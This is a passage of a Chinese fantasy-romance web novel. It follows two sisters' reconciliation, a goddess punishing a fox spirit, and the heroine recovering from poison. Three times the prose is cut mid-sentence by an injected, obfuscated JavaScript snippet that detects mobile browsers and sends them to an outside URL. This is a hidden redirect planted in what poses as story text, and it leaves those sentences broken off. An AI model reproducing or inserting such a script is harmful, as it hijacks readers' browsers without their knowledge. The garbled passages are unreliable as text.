晚上八点,银杏与阿乞帮赵大哥照顾着刚出生的女儿小珊瑚。 赵大哥李大叔与我,则站在家门口静静守着不远处池塘边上的那对姐妹。 肖依依浑身散发着一层明亮的金光,伸手牵住精神大好、面色红润的汪绵绵,岁月静好地陪她悠闲漫步…… “阿姐。”肖依依扭头,看向汪绵绵,笑容璀璨:“很小的时候,我就想这样叫你了。” “依依……” 肖依依的身影已经开始慢慢变透明了,拉着汪绵绵在水边草地坐下,望着天上遥远的明月轻叹: “刚记事那会子,我就知道自己有个姐姐。 我去问钱玉兰,姐姐为什么不和我们生活在一起,能不能把姐姐带回咱们家,我想和姐姐一起玩。 但钱玉兰,却惊慌失措地给了我一巴掌,还疾言厉色地告诉我,说我是独生女,没有什么姐姐,再在家里提姐姐她就不给我饭吃,饿死我。 后来,我记得当晚,肖老三突然和她吵了起来,她哭着摔碎了家里太爷爷留的老古董白瓷花瓶。 肖老三一怒之下,把她按在床上打了一个多小时。” “自那以后,我就不敢再问她们关于姐姐的事,只在邻居们的口中听到只言片语。 说,钱玉兰以前嫁过人,还给前夫生了个女儿,前夫病重时,她和肖老三当着前夫的面通奸,将前夫气到中风。 之后为了让前夫早点死,不耽搁自己改嫁肖老三,她就故意不给前夫煎药,不给前夫饭吃,活活将前夫饿死。” “前夫死后,头七还没过,钱玉兰就穿着红嫁衣敲锣打鼓的进了肖老三家。走的时候,把六七岁大的女儿一个人扔在前夫家。” “她们都说,你爸是个忠厚老实的好人,钱玉兰和肖老三才是奸滑之辈。她们还说你小时候过的很苦,钱玉兰改嫁的头一年,你几乎是靠在村里要饭才活下来的……” “阿姐,你知不知道,我一直都觉得,是我欠了你。” “我从小也算是在父母的呵护下长大的,我七八岁的年纪,还只会无忧无虑地在山里捉鱼摸虾,肖老三看在我是独生女的份上,从没让我饿过一顿肚子,可你……小小年纪,只能靠讨饭活下去。” “那时我就暗暗在心里发誓,等我长大,我一定要对阿姐好,尽我所能地补偿阿姐!” 第75章 用她的神像发泄 “十岁那年,我总算是见到了心心念念的阿姐……可阿姐你,却对我避之不及。 我好想像现在这样,握住阿姐的手,靠在阿姐肩上,和阿姐说一声对不起…… 是妹妹不好,抢走了阿姐的妈妈…… 我当时怀里还揣着二十块钱,那是我攒了两年才攒齐的,我想把那二十块钱塞进阿姐手里,让阿姐去集上买点好吃的。 可,那钱,终究还是没送出去……” “这些年来,我从未放弃过主动亲近你,往你跟前凑,哪怕你次次都躲着我,我叫你,你也不肯理我…… 好在,你的身边有了姐夫后,日子也终于好了起来。 阿姐,你知不知道,我以前常来你家,躲在你家附近偷偷看你。” “有一次,我还被姐夫给抓包了,他给了我好几块米糕,说是你亲手做的,我当时真的好开心。” “村里第一次出现我是王母灵女的传闻时,我还没有意识到危险已经悄然来临了。 直到我十八岁生日的当晚,肖老三和钱玉兰用铁链锁住我,把我扔下祖祠地牢,我才恍然明白,他们是真打算卖了我。” “我被囚在地牢里,每天都有人来买我的肉,我看着一张张熟悉面孔出现在眼前,既心寒,又一次次觉得庆幸……庆幸那些熟悉面孔中,没有你。” “可让我没想到的是,我到底还是在地牢中看见了你,那会子我瞧见你,第一反应是害怕自己的狼狈吓到你,第二反应……是开心,我以为我的阿姐,终于来救我了。” “但谁知……你也是来买我的肉的。 时隔那么久,阿姐,依依还是想问,他们当着你的面割掉我一块肉卖给你时,你到底有没有一丁点心疼……” 话说完,肖依依已是泪流满面。 汪绵绵心疼内疚的一把将肖依依脑袋搂在怀里,紧紧护住,痛苦闭上双眼,一行行清泪打湿昳丽容颜,“对不起,对不起妹妹。是我私心太重,伤了你……” “爸去世那年,我已经八岁了,我什么都懂了,我知道爸是被妈气死饿死的,我也晓得妈在爸生病之前就与肖老三勾搭上了,爸生病,就是妈害的。 爸头七没过,妈就欢欢喜喜地改了嫁,把我一人丢在什么都没有汪家,她走的时候,甚至还带走了家里所有钱,一分都没给我留。” “我知道,她的本意是想像饿死爸那样饿死我,但我偏不肯如她愿,我恨她心如蛇蝎,怨极了她的残忍无情,所以我就想着哪怕我讨饭,我也要活下去!” “多年后,她有了你。我也不想讨厌你的,可我一看见你,就想到了你的父母害死我爸……我恨。” “所以哪怕你一次次示好,主动靠近,我也不肯和你说上一句话。” “我的身体,先天不足,又早在幼年时就被妈耽搁坏了。去年,我总有种自己要不好了的预感,我去找寨子里的六叔公看病,他说……我最多只有两年光阴。” “我怕我死后,哥会跟着我走,所以我才到处寻找能让自己怀孕的法子。” “对不起,依依……如果下辈子还能再见,姐姐、还给你……” 姐妹俩抱在一起哭得伤心,肖依依听完她的解释,擦去脸上泪水,昂头温顺的冲她乖乖一笑,泪眼盈盈的善良开口: “阿姐,我原谅你了……如果有下辈子,我不要你还我。我们姐妹俩,好好地守在一起,我陪你……” 汪绵绵低头自责地厉害,泪如雨下地喃喃: “都怪我,妹妹,都怪我……如果我当初选择救你,你就不会、也变成这样了。 依依,你不是灵物吗?你怎么也会死。 依依,咱们不报仇了好不好,姐姐此生造下的孽已经够多了,姐姐命不长久,是姐姐的报应,可你不一样,姐姐想你活着! 李叔说了,若你肯放弃报仇,保留一口仙气尚有生机,可你如果把这口仙气耗完了,就真的回天乏术了!” 肖依依乖巧地缩进汪绵绵怀里,泪眼含笑,嗓音越来越轻: “阿姐,都迟了……姐姐,别怕,无论你去哪,我都跟着你。 我们姐妹俩,搭个伴。活着的时候,没机会弥补,能死在一起,不是很好吗?” “依依。”汪绵绵心疼地扶着肖依依脑袋。 肖依依弯腰趴在了汪绵绵腿上,安静许久,又浅浅说:“姐姐,你知道,昆仑神山,王母神境吗?” “传闻,西王母是位尊贵仁慈的神。她虽掌管疫病与灾难,但却也手握起死回生之术。” “她泽被昆仑,将昆仑神境的每个生灵都视为自己的子民,子民有所求,她必允之……” “阿姐,你不会死。” 槐花树下,刚出生的小女娃躺在银杏怀里,天真烂漫地咯咯笑着伸手去抓皎皎月华。 …… 凌晨两点,堂屋右边房间隐隐传出几道断断续续的男子哭声。 我疲惫地睁开眼,披衣下床,想去看看赵大哥…… 可刚站起来迈出去两步,脑袋就猛地一阵眩晕。 眼前发黑的腿软朝后倒了下去。 “阿鸾!” 有人及时出现,接住了我坠落的身子。 恍惚间再睁眼,我已出现在千里山脉最深处的一片碧色竹林内—— 林中竹叶萧萧而落,五色萤火虫翩然起舞。 夜风清凉,竹林内穿梭着缕缕奇异神光。 我缓步走到窝在竹笋边,缩成一团粉嫩肉丸,瑟瑟发抖的小肉芝跟前。 弯腰,伸手怜爱地抚了抚肉体一张一翕的小灵物。 小灵物身上一颤,惶然从昏睡中清醒过来。 看见我镶了五色琉璃莲花珠的金黄袖角,立时一缕彩光重新化成人形,激动委屈地赶忙跪地冲我叩头**,拖着哭腔哑声道:“娘娘……您真的来了。” 我拂袖直起腰身,无奈垂眸看她,怜惜道:“你以神魂为祭,求本座见你一面,本座不来,你岂不是要白白魂飞魄散。” 小灵物顿时喜极而泣,额头挨地,弱弱啜泣: “依依就知道,只要依依一日还是昆仑灵物,娘娘就一日不会不管依依,哪怕依依失去所有,娘娘也永远是依依的后盾。” “小灵芝……”我浅浅启唇,平静安抚:“本座,一直在你身边。你经历的一切,本座俱已知晓。” “您,一直在依依身边?” 我从容发话:“你抬头,看看本座。” 小灵物泪眼朦胧地好奇昂头,目光落在我容颜上的这一瞬,脊背不禁狠狠一震。 愣了半晌,才不可思议地恐慌呢喃:“鬼、娘娘……” 我平静颔首,确认了她未说完的信息。 小灵物懦懦跪爬到我脚下,双手抓住我金线绣鸾凤的金色裙摆,还是不敢相信: “娘娘,你怎么会……都怪依依眼拙,依依虽然看出了娘娘一身灵气,但也只猜到娘娘可能是上方的仙人转世……万万没想到,竟然是您的转世。” “这不怪你。”我温柔替她扶正发上花钗:“本座离开昆仑时,你尚未诞生。小灵芝,这些年苦了你了。” “娘娘,你不怪我报复孟春寨的那些人吗?” 小灵物哭得双眼通红,委屈极了地亲近抱住我,呜咽着诉苦: “都是他们逼依依的,娘娘,依依不想害人,依依也不想双手染血,可娘娘,依依真的好痛苦,依依身上怨气执念太重,依依没有活路了。” 我沉默少时,问她:“你想向本座求什么?” 小灵物泪水满面地昂头乖巧道: “依依左右是活不成了,但依依在这个世上还有牵挂。 依依有个姐姐,今年才二十八岁,她小时候过得很苦,现在好不容易有了家庭,丈夫疼惜她,愿意将她捧在手上,如珠似宝地宠着,可她却重病在身,寿元将尽…… 她的女儿才刚出生。她这辈子,根本没过几天好日子,她心地善良,不该早亡的。 娘娘,依依想求你,救救她。娘娘你掌世间万物之生死,依依想求你为她续命,哪怕……再给她十年光阴也好!” 我抬手捧起小灵物泪湿的下颌,与她四目相对,淡漠询问: “你求见本座,不是要本座救你,而是,要本座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146346|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救你姐姐?你可想好,你只有这一次机会。若本座为她续了命,你就会魂飞魄散,连轮回投胎的机会都没有了。” 小灵物一把抓住我的手,哭着蹭我掌心,软语撒娇:“娘娘,依依只有这一个心愿。” 我见她执着,无奈问:“值得么?” 小灵物却哭着笑道: “值得。依依如果向娘娘求救自己,以后依依大概率,只能做一棵藏于深山的肉芝了。 依依见过世间繁华,再回深山,依依会孤独。可入世,依依又见识到了人心险恶。 依依手上染了血,无法成正果了。 不如,让姐姐代替依依活下去,替依依,多看看这世间美好的一面。” 这灵物,倒是乖。 我听罢,为难拧眉:“可惜,本座不能如你所愿。” 小灵物迷茫看我:“娘娘……” 我拂袖负在腰后,耐心告诉她原因:“你姐姐也向本座许了愿,她求的,是你能好好活下去。” “姐姐……”小灵物诧异瘫坐在地。 我抬手施法将小灵物化成原形,引至掌中:“既然你们姐妹俩都心系彼此,那往后,你们就永远在一起,互相作伴吧。” “本座会将汪绵绵的魂魄取来,与你合二为一,从此,你们便是双生灵芝。留在九黎山也好,回归昆仑也罢,任你们选择。” “孟春寨众人残食灵物,犯下贪孽,滥杀无辜,人神共愤。你此来,便当做是奉本座之令降罚阴苗族。本座将你打回原形,命你思过二十年。” “二十年后,你与你姐姐若肯勤加修炼一心向善,还会有再化人形的机会。” 说完,我将已经变成五彩灵芝本相的小肉芝放进袖中,带出竹林。 小肉芝的事解决完了,接下来,该去收拾另一桩冤孽了。 月阴村,土地庙。 一袭红衣的狐仙斜倚在偏房罗汉床上,白酒一杯接着一杯灌下肚。 满屋弥漫着熏人的酒香,烛火昏暗,琉璃珠帘轻轻摇晃,叮叮当当…… 里侧墙壁上挂着一幅神仙图,图上仅有一个女仙背影,正是当年,我与他初见时的画面。 画像两侧养着两瓶大红牡丹,供桌上,还摆着一串琉璃珠、一截红绳、一只金色铃铛。 乍一看,我的确没搞懂那些东西是干嘛的。 直到我闭目追溯缘由时,脑子里突然闪现出灰袍男人将黄衣女子压在画像前…… 把琉璃珠,粒粒填入。 又将铃铛扯得叮叮响。 以及灰袍男人独自用一条红绳自虐、发泄。 我才猛地意识到这些腌臜物是什么玩意! 夜中寒风袭得帘上珠玉碰撞声嘈杂,珠帘另一头的红衣男人瞥见我的影子,脸色难看地抄起手里酒杯,愤怒朝我砸来。 白玉酒杯啪的一声碎裂在我脚边。 “你就这么耐不住寂寞?脸都毁了,还敢来找本王。 宋花枝,从前你脸没毁,穿上这身神袍,倒有六七分似她。 现在你脸破相了,不像她了,你就不配穿这身神袍了!” 醉醺醺的一拳头砸在矮几上,他恣睢命令: “脱!给本王,一件件脱掉,说不准本王还能看在你身材不错的份上,许你春风一度!” 我听着从他口中吐出的污言秽语,不悦拧眉。 他察觉到我没反应,立即暴怒呵斥:“本王让你脱你没有听见……” 一拍桌子站起身,浑浊的眸光与我视线相接,下一秒,他就脸色灰白的扑通原地跪了下来—— “是梦,对么?一定是的,她说过,娘娘已经闭关数千年了,最近百年都并无要出关的预兆。” 她,是谁? 红衣狐妖紧张欣喜的迅速膝行至我面前,开心的两眼泛红湿润: “娘娘……娘娘你终于来入本王的梦了!狐儿好想你,娘娘……” 我面不改色地弯腰,二话没说,一把掐住他的脖子,手上用力,掐得他无法喘息,面容通红。 余光扫向里侧供桌上的脏东西,冷冷问罪: “你敢亵渎本座?你就是如此想本座的!” 第76章 娘娘,狐儿好想你 谁知我手上力度越重,红衣狐妖反而越兴奋。 明明都已经掐得他快窒息晕厥了,他却眼角猩红笑得愈发灿烂: “娘娘,你好香……娘娘,这些年来,狐儿无时无刻不在盼着能与你重逢……” 我厌恶眯眼:“本座与你,不过一面之缘,你何以对本座执念如此深切!” 奈何这蠢物根本不接我的话,不知从哪摸出了一条带铃铛的皮鞭,双手奉给我,一脸期待道:“娘娘、您不高兴,可以抽狐儿……” 我震怒地扯过鞭子,一脚踹开他,将鞭子狠狠摔在地上,鞭上莲花金铃瞬间碎裂成无数瓣。 “放肆!本座面前,还敢不敬!” 被我踹倒在地瞬间损了千年修为的谢妄楼捂胸闷呛了口血,歪头看我,笑得诡异:“娘娘,没想到,您在狐儿梦中如此凶悍……不过,狐儿喜欢。” 伸爪子又来抓我衣袖,但却被我无情甩开。 谢妄楼扑了个空,重心不稳地跌落在地,见状突然发疯大笑起来,嚣张地大放厥词:“不让我碰?凭什么?是狐儿哪里不如他们吗!” “他们?”我皱眉不解。 谢妄楼踉跄着站起身,东倒西歪几近疯魔地指着窗外向我撒气: “你不爱东王,可东王身份尊贵,与你之间有天道定下的婚约。 你不爱那个人间帝王,可他却为了你空置后宫数十年,直到老死都念着你。 他们都有爱你的权利,为什么我没有! 东王,穆天子,他们对你有肮脏心思的时候也没见你动怒! 我为什么不能有!” 说着,他突然冲过来握住我的手,满眼期待地盯着我道: “娘娘,我爱你!见你的第一眼,我就深深爱上了你! 你知不知道,我为了能去昆仑求见你,吃了多少苦,我拼命修炼努力变强大,就是为了有朝一日能成为狐王,顺利迈过进入昆仑神境的门槛。 我为你付出了那么多,可当我终于有资格站在昆仑神宫门外,向你递上拜帖时,你却闭关修炼,不见外客了。 没关系,狐儿等,百年,千年,甚至万年,狐儿都等的!狐儿对你痴心一片,爱则生欲,狐儿对你有欲望,难道不合理吗?” 他话才说完,我就不客气地扬手一巴掌抽在了他脸上:“混账!” 他被我打得头一偏,双目赤红。 抬手抹去唇边的血迹,猖獗大笑。 “好!娘娘打得好!娘娘**,掌风都是香的。” 我忍无可忍地抬掌运用神力压迫他跪下,掐住他的脖子,眸底绽出金色神光,冷声恐吓: “谢妄楼,你肖想本座,着实可恨!本座……” 本想直接除了它算了,但目光却瞥见他腰带下挂着的那枚令牌…… 昆仑神宫的令牌,怎么会在他手里? 本座不在,他和神宫里哪个混账勾搭上了?! 出神间,屋外突然响起几声起伏的闷雷。 我意外抬眸,不能杀? 也对,本座如今的状态,确实不适合以真身牵扯进因果。 既然入世,本座的真身,便不该影响世间万事的发展。 更何况,这只孽障也是本座命中的一劫…… 轻易打**,又得重来一回。 最后一次,本座得收着点。 轮回台那个破地方,本座真是走腻了! 况且如今冥王那家伙也已成功归位,本座若是落进他手里,难保他不会公报私仇…… 算了,忍! 我目光凌厉地冷肃威胁:“既然你敢亵渎本座,那本座便罚你……” 垂眸扫了眼他腰上的令牌,“罚你、对本座动一次邪念,便、废掉一次!若你还想做狐王,就管住自己的淫念!” 直接阉了他,太便宜他。 狐王若是没了繁衍后嗣的能力,就等同于失去了全部尊严…… 届时那些狐妃看他的怪异眼神,会比将他凌迟处死还痛苦。 说不准,宋花枝还会成为诛他心的致命一击。 “娘娘!”他眼底晃过一丝慌促,无赖的要扯我袖子,我却转身潇洒地离开了土地庙。 徒留他一人在庙中癫狂发疯: “都是梦,是梦!娘娘不可能这么残忍地对我,娘娘仁爱苍生,我可是她的狐儿,她怎么忍心罚我!对,梦里的所有事都是假的!假的!” 我嫌他聒噪,临走又隔空给了他一拳头,将他打晕在偏房里。 既然他以为是梦,我又恰好不便显露真身,那就,遂了他的愿吧! 不过…… 我回头瞟了眼被困在神像里的土地爷,无奈叹口气。 还有心情睡大觉,土地这心态真难得! 匆匆回了孟春寨,奇怪的是,肉身给我的感应不在赵家,而在山上的一处温泉里。 我急着回归本体休养生息,便没有想太多,一路直奔深山那方藏在密林深处的温泉池子…… 可顺利找到自己时,我竟然看见,自己的身子泡在温泉中,被一个赤身裸体的高大男人温柔抱住。 过于暧昧的姿势令我顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146347|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红了脸,心猿意马地紧张背过身…… 猛喘了两口气,我蓦地意识到一个问题。 不对! 刚才我好似看见男人体内的神力在往我身体里灌! 他不是在做那事…… 是在借灵修,把身上的仙泽神力渡给我。 这条小青蛇…… 竟重情重义到这个地步。 我缓缓转过身,轻步迈近昏睡的自己…… 他把自己的什么东西给我了? 为何,我浑身都是他的气息! 可惜我现在还不能靠他们太近,这条小青蛇天分太高,虽只修炼了几千年,但却已达正神境界。 即便我刻意敛下身上神息,过于接近,他还是会察觉到。 我站在岸边愣了愣,再抬头,目光却无意落在他胸口的那道血红伤痕上…… 伤痕化成一朵妖艳凤凰花状,有血,从凤凰花瓣的轮廓内渗出来…… 是了,当初他为了帮我重塑魂身,换一次生还机会,硬是剜了自己的半颗心,放了三百年心头血。 这旧疾,就是当年留下的。 能看出来,他的心脏受损太严重,他又失去太多心头血做了逆天改命之事,天罚不允许他伤口愈合,定会让他每隔一段时间就会复发一次。 最近一次复发,应该就在这个月月首。 他才刚熬过来,就强行将自己的神力渡给我…… 一点也不怕走火入魔么? 我心生不忍地蹲下来,想摸他的脸。 小青蛇…… 若能带回昆仑当夫婿养着,也不错。 温泉水面归于平静后,他抱紧我的身体,吐息滚烫地呢喃轻唤:“阿鸾。” 我瞧着他这副爱惨了我的模样,心头不禁一阵悸动。 指尖在距离他英俊面庞三公分处顿住,我瞧着他的脸,总觉得……似曾相识。 好像很久以前,在哪里见过。 我果然老了,记忆力都不大好了。 不过,从前在神界,能有幸被我赏一瞥的美男,不是上古尊神就是老不死的大魔头…… 他一条小青蛇,我从前怎么可能见过。 但、越看他,我越觉得他的眉眼,像一个故人。 为何就是想不起来到底像谁呢? 我蹲在温泉边犯了难,一丝莲花清香钻入鼻息…… 模糊的记忆陡然清晰! 脑海里突然浮现出当年那抹彬彬有礼又古板无趣的身影…… 两人面容重合的那一刹,我顿时腿软跌坐在草地上! 我的娘啊,怎么是他! 第77章 这颗珠子……是个叛徒 一时失神,他敏锐察觉到我周身神力浮动,冷声呵斥:“谁!” 我做贼心虚的赶紧化作金光融进了自己体内。 本座这是倒了几辈子的大霉啊,怎么能和他生出了纠葛呢! 不行,我一看见他这张脸就想起从前干的事,心里犯虚。 下次打死我也不出来了,太吓神了…… 他要是发现,我在下界也不放过他,不会掐死我灭口吧! 绝对不能让他知道我是谁! …… 我好像,做了一个很长的梦…… 可梦里发生了什么,我又全都记不起来了。 半梦半醒间,我隐约听见了银杏与阿乞的惊呼声,还有李大叔的疑惑喃喃—— “这珠子、珠子……啊!鬼啊!” “阿乞你认真的吗?谁家鬼是一颗珠子。不过、它它它、怎么又回来了!爸!你看它还撞我!” “帝、帝君!这珠子不会**吧,我可听师叔祖说了,它老厉害了!” “为什么,感觉这珠子在亲近镜镜……对蛇王老爷好像有点敌意?” “这是有点吗?它刚才也撞了帝君一下,而且你发现了吗,帝君只要一靠近镜镜它就发疯。” “怎么跟争宠似的。” “但是这玩意不是灰狐仙的宝物吗?它怎么又在给镜镜渡灵力?它不会有什么阴谋吧!难不成是想下毒?!帝君……” “别动它,它没有伤害阿鸾。” “会不会是鸾镜身上灵气太重,让灵珠误以为鸾镜是仙人,而它原本就是仙家宝物,所以才会本能的对鸾镜和善……蛇王大人,你觉得呢?” “可能吧,现在只能确定,这颗灵珠不会攻击阿鸾。” “真是怪了,主人对我们喊打喊杀,珠子却来给小鸾镜渡灵力疗伤……” “所以这颗珠子……是个叛徒!” “……” 耳边絮絮叨叨的声音吵得我意识越来越清醒。 艰难睁开沉重眼皮,却见青漓和李大叔他们都围在我的床前,一脸担忧地守着我。 还有一颗刺眼的珠子悬在半空摇摇晃晃。 发现我苏醒,那珠子竟不道德地用力往青漓身上一撞,强行把要靠近关心我的青漓撞了回去,然后自个儿抢先往我怀里扑…… 偎在我的胸口亲昵蹭蹭。 我不明所以地撑起疲惫身子,伸手将灵珠拿住,可小灵珠还是挣扎着要往我怀里撞。 我拿它没办法地叹了口气:“你劲太大,擂得我心口疼。” 小灵珠一顿,立马老实下来,乖乖待在我手里……接着蹭我掌心。 我被它蹭得手掌板痒痒,只能可怜兮兮地求助青漓:“你能不能管管它……” 这家伙,自来熟得过分了! 本来就脸色不大好的青漓听我这么说,立时眸中一黯,一把抓走泛着五色华光的珠子,冷酷无情地直接将珠子丢出了房门。 趁珠子不在,坐回我床头,一把捞我入怀,紧紧护住。 被丢出门的珠子愣了愣,下一秒,不死心地继续往屋里飞,孩子心性地缠着青漓要打架。 “她是我夫人!”青漓睨了眼欲攻击他的灵珠,沉声宣示**。 灵珠傻乎乎地僵住,片刻,又似不服气地继续做攻击状。 青漓再次启唇:“夫人你知道是什么意思么?老婆,媳妇。她,是本尊的。本尊允你蹭,你才能靠近,本尊不许,你就给本尊靠边待着,不然休怪本尊手下无情!” 灵珠摇了摇脑袋,忌惮地往后退了些。 不知为何,珠子明明没有五官,我却能在珠子身上看见气愤、不甘、委屈、窝囊……好几种情绪! 灵珠犟的浑身发抖,还是不死心,刚往我跟前飘了十公分,青漓便眸中金光乍现,紧接着,放在桌上一只红色琉璃老花瓶就被青漓的法力给震成了齑粉! 灵珠昂头,看着空中飘扬如白面的琉璃花瓶骨灰,身子颤了颤。 下一刻一头扎进床尾的帘帐里,吓得瑟瑟发抖。 见此状,我和银杏阿乞皆是默默朝青漓投去了钦佩目光。 啧,珠子还是太年轻,敢在青漓跟前分不清大小王,简直是活腻了。 灵珠被青漓训老实了,我这才有机会问情况:“我这是怎么了?好像突然就断片了。” “是巫毒!” 阿乞着急举**答: “昨、呃,现在应该是前天晚上了,嫂子扎你的那一刀,刀上有毒,毒素会随着你施法运功迅速扩散至全身。 镜镜姐你说你,明知道自己中了毒,也不告诉我们,我们如果早知道,就不会让你犯险去做那么多事,耗费那么多法力了! 逼出肉芝,我也可以啊,大不了你在旁边指点我,这下可好,把你累成这样,还害你失去了法力。 你用自己的血炼血蛊给嫂子续阳寿,间接保下了小珊瑚一命,晚上你歇下,你身上的法力在感应到你没有需求后,就慢慢被封印了。 这一封印,你没有灵力护体,那毒就发作得更凶猛了,然后你的身体不堪重负,就倒下了。” 银杏接上说: “幸好蛇王老爷在你身边,你突然晕倒后蛇王老爷就带你去深山的温泉泡了将近两个小时,又帮你逼出了毒,还顺便给你疗了伤,你现在法力又回来了! 我和爸总算不用担心你失去一个月的法力会不会被宋花枝她们暗算了!” “原来是毒发啊。”我晃了晃还沉重的脑壳,气血不足地直接倒进青漓怀里,靠在他的胸膛上休养生息:“小事,问题不大。能被青漓顺手解决的,都不用慌。” 阿乞哽了哽,拿我没办法道:“你这是把帝君当成血包了啊!” “啧,怎么能这么形容呢!”我厚着脸皮一本正经纠正:“这叫,充电宝!” 阿乞:“……有什么区别吗?” 我言之凿凿:“比血包好听。” 毕竟直接喊青漓血包,我可能会有被他暂时无情抛弃的风险。 阿乞:“……” 我活动了一下肩膀胳膊: “怪不得感觉全身舒坦了不少,原来是带我去泡温泉了,不过……怎么感觉肩膀又疼又痒的,不会是被虫子叮了吧。” 我好奇抬手扒开衣领,视线刚扫到肩上一抹殷红,衣领就被某蛇王慌促按了回去…… 男人俊美的容颜飞速染上两抹淡红,目光躲闪,嗓音喑哑,强装平静道: “夏天了,山里蚊虫多也正常,况且你在昏迷,自身感受不到疼痛,本尊难免会有一时疏漏……” 解释很合理,可惜是编的。 什么虫子能叮出这么大一片红! 被毒蛇咬了还差不多。 不过…… 事实好像真是被蛇咬了。 我尴尬闭嘴,生怕多说露馅被银杏阿乞他们看出破绽,只能附和着点头。 悄悄把愈发滚烫的老脸别到一边。 这条色蛇,我都那样了,还不放过我的身体…… 咬我肩膀也就算了。 关键锁骨与胸口,也疼! 真是上辈子欠他的! “是哦,镜镜在昏迷,被虫子咬也感受不到,蛇王老爷又要给镜镜清除体内毒素,又要帮镜镜打蚊子,真不容易!” 银杏傻头傻脑的认真道: “没事,等回月阴村了,我做几个草药香囊送你,你随身携带,这样蚊虫就不敢近身了。 今年的五月麻烦真多,端午也糊里糊涂过去了。 不过阴苗族向来不怎么重视端阳节,倒是五月十八的祈神节每年族里都会大办特办。 这会子月阴村里的人应该都在煮红鸡蛋做饭团杀猪了吧。” 祈神节,五月十八…… 是了,今天已经五月初八了。 “嫂子呢?”我想起汪绵绵,赶忙问坐在一边只安静抽烟的李大叔。 李大叔吐了口浓雾闷声道: “蛇王大人刚带你进山,大伢子的媳妇就没撑过去,已经过世了…… 那孩子过世前嘱咐过大伢子,不办后事,简单发丧,想让大伢子给她挑个离家近的地方下葬。 大伢子在屋后选了块地,现在应该已经将那孩子埋进去了。 我一早本打算去村头老王家买点花圈魂幡的,但大伢子没让。 大伢子还是怕村里那些人报复他媳妇,掘他媳妇的坟啊!” 重重叹息一声,李大叔摇头道: “这样也好,那孩子就埋在她们自家屋后,自家地里,没人知道,也避免了往后可能会发生的不必要麻烦。” “那村里的人呢?”我追问。 李大叔吐出一口卷烟,唏嘘道: “尘归尘土归土,欠债还钱**偿命,他们自己做了伤天害理的事,报应到他们头上,逃不掉的。生前还是莫作恶,免得死后难过野狗山啊!” 所以,王母灵女还是没有放过他们。 我靠在青漓怀里没再说话,屋内一时也陷入了沉默。 躲在床尾帘帐里的珠子这才敢偷偷摸摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不了。绵绵还在寨子里呢。不走了,哪也不去了。我答应过绵绵,要好好照顾女儿,让女儿无忧无虑的成长。 她心细,我和女儿都在她身边,她看着女儿长大才能安心。 李大叔,回去以后请转告我父亲……儿子不孝,不能回到父母膝下为二老奉养天年,以后,父亲就当没我这个儿子吧。” 李大叔自知劝不了他,只能沉沉颔首,“那好。以后如果有什么需要李叔的地方,随时给李叔传话。” 银杏从口袋里掏出一份红包,放在小女娃的怀里: “这是我们给大侄女准备的红包,祝愿大侄女健健康康,长命百岁!” 赵大哥拘谨的客气推辞:“不用,你们帮的忙已经够多了,我……” 阿乞直爽道: “赵大哥你就别拒绝了,这是我们对小珊瑚的一片心意!按照咱们阴苗族的习俗,孩子出生长辈都要给红包送祝福,能帮孩子压祟辟邪。” 赵大哥这才不好意思地接受了我们的好意:“那我就代珊瑚,谢谢她的姑姑叔叔了。” 我也从袖中拿出准备好的银镯送给小娃娃: “这只镯子是我小时候,外婆给我打的。后来长大就戴不上了,一直收在柜子里。现在我把它转送给珊瑚,希望珊瑚此生多福多乐,万事随心。” 赵大哥瞧着那只镶了莲花铃的银镯,感动得潸然落泪: “这是老祭司打的银镯……鸾妹,你竟然送给了珊瑚。鸾妹,大哥这辈子欠了你太多。” “大哥就不要说这么见外的话了,什么欠不欠的。你永远都是我和银杏心目中最好的大哥。”我轻声安慰。 赵大哥艰难地抿唇笑笑,伤怀点头。 “好了,早晨风凉,这孩子才刚出生,你就别送了,回去记得我交代你的那些事,去要点羊奶喂这孩子。 你刚当爹,头一次喂孩子可能会手忙脚乱,不过没关系,时间久了有经验了就顺手了。 杏子当年就是被我这么喂过来的。” “好……” 和赵大哥告完别,我们沿着小路往寨口方向去。 赵大哥也抱着乖巧的女儿进了屋,忙着给小珊瑚热奶…… 只是,我们刚走了一里路,身后就突然传来赵大哥的高呼声: “鸾妹、李叔——肉、肉……” 第78章 要对蛇脱敏了 “我家堂屋屋脚,突然多出两、不对,是一棵双生的!” 我与李大叔停下脚步。 双生肉芝…… 李大叔阴沉的脸上总算有了一丝笑意,无奈摇头:“好啊,都回来了。” —— 出了孟春寨的寨门,银杏抓着一根柳条胡乱挥舞,不明所以地问李大叔: “昨天你怎么了?为什么突然要杀了肉芝?爸,你的那句话脱口而出时,很不对劲!” 李大叔下意识掏出烟杆,想抽上一口。 却被阿乞无情抢了过去。 “师叔祖,你就说呗!你说出来,执念才不会成为心魔。我们都是自家人,你怕什么?” 李大叔抽不到烟,不自在地搓手心。 沉默许久,才说: “从前,少不更事,我总想着,身为道门中人,一身本事就是用来降妖除魔替天行道的…… 